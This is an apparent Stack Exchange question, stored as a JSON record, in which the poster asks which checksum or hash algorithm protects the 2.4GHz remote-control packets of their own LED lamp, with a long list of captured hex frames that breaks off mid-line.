        "CreationDate": "2019-01-09T15:20:19.293",
        "Body": "<p>I have an unbranded LED lamp with a remote control. I would like to reverse the protocol of the remote but unfortunately I can't create my own packages. The frequency of the remote transceiver is 2.4GHz (PA = 6dBm, channel = 1) so I used an NRF24 for collecting the frames from a button. When I 'replay' the collected messages the lamp reacts as expected.<br>\nAs I observed the preamble is 5 bytes long and in the end of packet there is a 2 bytes long hash, probably a CRC16. (I think it should be some kind of hash because one bit change in the packet generates totally different value in last 2 bytes position.) Unfortunately I couldn't identify the type of transceiver so I cannot figure out the packet format. I tried to reverse the hash with various methods but without luck.  </p>\n\n<p>Do you have any idea what is the hash algorithm?</p>\n\n<p>There are some test vectors from the same button.</p>\n\n<pre><code>aa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  00\u00a021  00\u00a060\u00a01f\u00a055  57  84\u00a0c1\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  00\u00a0e1  00\u00a060\u00a01f\u00a055  56  c4\u00a0cc\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  01\u00a021  00\u00a060\u00a01f\u00a055  56  86\u00a095\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  01\u00a0e1  00\u00a060\u00a01f\u00a055  55  c4\u00a0de\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  02\u00a041  00\u00a060\u00a01f\u00a055  55  75\u00a064\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  02\u00a061  00\u00a060\u00a01f\u00a055  55  40\u00a06c\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  02\u00a081  00\u00a060\u00a01f\u00a055  55  25\u00a048\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  02\u00a0c1  00\u00a060\u00a01f\u00a055  54  f5\u00a06d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  02\u00a0c1  00\u00a060\u00a01f\u00a055  54  f5\u00a06d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  03\u00a061  00\u00a060\u00a01f\u00a055  54  42\u00a038\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a001  00\u00a060\u00a01f\u00a055  53  b8\u00a09b\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a001  00\u00a060\u00a01f\u00a055  53  b8\u00a09b\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a021  00\u00a060\u00a01f\u00a055  53  8d\u00a093\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a041  00\u00a060\u00a01f\u00a055  53  78\u00a09f\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a061  00\u00a060\u00a01f\u00a055  53  4d\u00a097\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a061  00\u00a060\u00a01f\u00a055  53  4d\u00a097\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a081  00\u00a060\u00a01f\u00a055  53  28\u00a0b3\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  04\u00a081  00\u00a060\u00a01f\u00a055  53  28\u00a0b3\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  05\u00a001  00\u00a060\u00a01f\u00a055  52  ba\u00a0cf\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  05\u00a081  00\u00a060\u00a01f\u00a055  52  2a\u00a0e7\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  05\u00a0a1  00\u00a060\u00a01f\u00a055  52  1f\u00a0ef\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  06\u00a061  00\u00a060\u00a01f\u00a055  51  49\u00a03e\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  06\u00a061  00\u00a060\u00a01f\u00a055  51  49\u00a03e\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  07\u00a021  00\u00a060\u00a01f\u00a055  50  8b\u00a06e\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  07\u00a0a1  00\u00a060\u00a01f\u00a055  50  1b\u00a046\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  07\u00a0c1  00\u00a060\u00a01f\u00a055  4f  e3\u00a088\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  08\u00a0e1  00\u00a060\u00a01f\u00a055  4e  c4\u00a058\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  08\u00a0e1  00\u00a060\u00a01f\u00a055  4e  c4\u00a058\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  08\u00a0e1  00\u00a060\u00a01f\u00a055  4e  c4\u00a058\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  08\u00a001  00\u00a060\u00a01f\u00a055  4f  b1\u00a05d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  08\u00a061  00\u00a060\u00a01f\u00a055  4f  44\u00a051\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  09\u00a041  00\u00a060\u00a01f\u00a055  4e  73\u00a00d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  09\u00a021  00\u00a060\u00a01f\u00a055  4e  86\u00a001\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0a\u00a041  00\u00a060\u00a01f\u00a055  4d  75\u00a0f0\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0a\u00a061  00\u00a060\u00a01f\u00a055  4d  40\u00a0f8\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0a\u00a081  00\u00a060\u00a01f\u00a055  4d  25\u00a0dc\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0b\u00a001  00\u00a060\u00a01f\u00a055  4c  b7\u00a0a0\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0b\u00a021  00\u00a060\u00a01f\u00a055  4c  82\u00a0a8\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0b\u00a041  00\u00a060\u00a01f\u00a055  4c  77\u00a0a4\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0b\u00a041  00\u00a060\u00a01f\u00a055  4c  77\u00a0a4\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0b\u00a061  00\u00a060\u00a01f\u00a055  4c  42\u00a0ac\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a021  00\u00a060\u00a01f\u00a055  4b  8d\u00a007\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a061  00\u00a060\u00a01f\u00a055  4b  4d\u00a003\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a061  00\u00a060\u00a01f\u00a055  4b  4d\u00a003\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a081  00\u00a060\u00a01f\u00a055  4b  28\u00a027\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a0c1  00\u00a060\u00a01f\u00a055  4a  f8\u00a002\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a0c1  00\u00a060\u00a01f\u00a055  4a  f8\u00a002\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a0e1  00\u00a060\u00a01f\u00a055  4a  cd\u00a00a\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0c\u00a0e1  00\u00a060\u00a01f\u00a055  4a  cd\u00a00a\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0d\u00a001  00\u00a060\u00a01f\u00a055  4a  ba\u00a05b\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0d\u00a081  00\u00a060\u00a01f\u00a055  4a  2a\u00a073\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a001  00\u00a060\u00a01f\u00a055  49  bc\u00a0a6\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a021  00\u00a060\u00a01f\u00a055  49  89\u00a0ae\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a061  00\u00a060\u00a01f\u00a055  49  49\u00a0aa\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a081  00\u00a060\u00a01f\u00a055  49  2c\u00a08e\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a0a1  00\u00a060\u00a01f\u00a055  49  19\u00a086\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a0c1  00\u00a060\u00a01f\u00a055  48  fc\u00a0ab\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0e\u00a0e1  00\u00a060\u00a01f\u00a055  48  c9\u00a0a3\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a001  00\u00a060\u00a01f\u00a055  48  be\u00a0f2\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a021  00\u00a060\u00a01f\u00a055  48  8b\u00a0fa\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a061  00\u00a060\u00a01f\u00a055  48  4b\u00a0fe\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a061  00\u00a060\u00a01f\u00a055  48  4b\u00a0fe\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a061  00\u00a060\u00a01f\u00a055  48  4b\u00a0fe\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a0a1  00\u00a060\u00a01f\u00a055  48  1b\u00a0d2\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a0c1  00\u00a060\u00a01f\u00a055  47  f1\u00a02d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  0f\u00a0c1  00\u00a060\u00a01f\u00a055  47  f1\u00a02d\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a001  00\u00a060\u00a01f\u00a055  47  b6\u00a087\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a021  00\u00a060\u00a01f\u00a055  47  83\u00a08f\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a021  00\u00a060\u00a01f\u00a055  47  83\u00a08f\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a041  00\u00a060\u00a01f\u00a055  47  76\u00a083\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a061  00\u00a060\u00a01f\u00a055  47  43\u00a08b\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a0e1  00\u00a060\u00a01f\u00a055  46  c3\u00a082\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  10\u00a0e1  00\u00a060\u00a01f\u00a055  46  c3\u00a082\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  11\u00a081  00\u00a060\u00a01f\u00a055  46  24\u00a0fb\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  11\u00a0a1  00\u00a060\u00a01f\u00a055  46  11\u00a0f3\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  11\u00a0a1  00\u00a060\u00a01f\u00a055  46  11\u00a0f3\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  11\u00a0a1  00\u00a060\u00a01f\u00a055  46  11\u00a0f3\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  11\u00a0e1  00\u00a060\u00a01f\u00a055  45  c3\u00a090\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  11\u00a0e1  00\u00a060\u00a01f\u00a055  45  c3\u00a090\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  12\u00a041  00\u00a060\u00a01f\u00a055  45  72\u00a02a\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  12\u00a041  00\u00a060\u00a01f\u00a055  45  72\u00a02a\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  12\u00a061  00\u00a060\u00a01f\u00a055  45  47\u00a022\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  12\u00a061  00\u00a060\u00a01f\u00a055  45  47\u00a022\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  12\u00a0c1  00\u00a060\u00a01f\u00a055  44  f2\u00a023\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  12\u00a0c1  00\u00a060\u00a01f\u00a055  44  f2\u00a023\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  13\u00a021  00\u00a060\u00a01f\u00a055  44  85\u00a072\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  13\u00a021  00\u00a060\u00a01f\u00a055  44  85\u00a072\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  13\u00a021  00\u00a060\u00a01f\u00a055  44  85\u00a072\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  13\u00a061  00\u00a060\u00a01f\u00a055  44  45\u00a076\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  13\u00a081  00\u00a060\u00a01f\u00a055  44  20\u00a052\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  13\u00a0e1  00\u00a060\u00a01f\u00a055  43  c3\u00a0b5\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  14\u00a0a1  00\u00a060\u00a01f\u00a055  43  1a\u00a0f5\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  14\u00a0e1  00\u00a060\u00a01f\u00a055  42  ca\u00a0d0\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  15\u00a081  00\u00a060\u00a01f\u00a055  42  2d\u00a0a9\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  15\u00a0a1  00\u00a060\u00a01f\u00a055  42  18\u00a0a1\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  16\u00a061  00\u00a060\u00a01f\u00a055  41  4e\u00a070\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  16\u00a0a1  00\u00a060\u00a01f\u00a055  41  1e\u00a05c\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  16\u00a0c1  00\u00a060\u00a01f\u00a055  40  fb\u00a071\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  16\u00a0e1  00\u00a060\u00a01f\u00a055  40  ce\u00a079\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  18\u00a001  00\u00a060\u00a01f\u00a055  5f  b6\u00a013\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  18\u00a0c1  00\u00a060\u00a01f\u00a055  5e  f6\u00a01e\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  19\u00a081  00\u00a060\u00a01f\u00a055  5e  24\u00a06f\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  19\u00a0a1  00\u00a060\u00a01f\u00a055  5e  11\u00a067\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1a\u00a001  00\u00a060\u00a01f\u00a055  5d  b2\u00a0ba\naa\u00a0aa\u00a0aa\u00a0aa\u00a0aa\u00a090\u00a08e\u00a07c\u00a064\u00a0ce\u00a020\u00a033\u00a0b8\u00a0a0\u00a026\u00a03f\u00a0c0  1a\u00a0c1  00\u00a060\u00a01f\u00a055  5c  